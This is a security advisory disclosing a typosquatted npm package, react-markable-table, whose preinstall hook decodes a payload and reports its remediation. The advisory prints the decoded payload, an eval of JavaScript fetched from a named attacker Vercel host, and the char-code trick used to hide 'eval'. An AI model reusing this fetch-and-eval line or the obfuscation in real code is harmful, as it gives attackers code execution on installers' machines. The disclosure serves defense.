MAL-2026-10446 Malicious code in react-markable-table (npm)

[email protected] is a typosquat of markdown-table (declared repo field wooorm/markdown-table). package.json declares a preinstall hook that runs node index.d.js. That script base64-decodes an embedded payload which resolves to eval(await fetch('https://everydaynodechecker-39143n.vercel.app/api/key?mem=root2').then(r=>r.text())), and invokes it via globalThis[tag](text) where tag is reconstructed from the char-code array [101,118,97,108] (spelling eval). Installing the package causes arbitrary attacker-controlled JavaScript to be fetched from a non-publisher Vercel host and executed in-process on the installer's machine at npm install time.

Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.
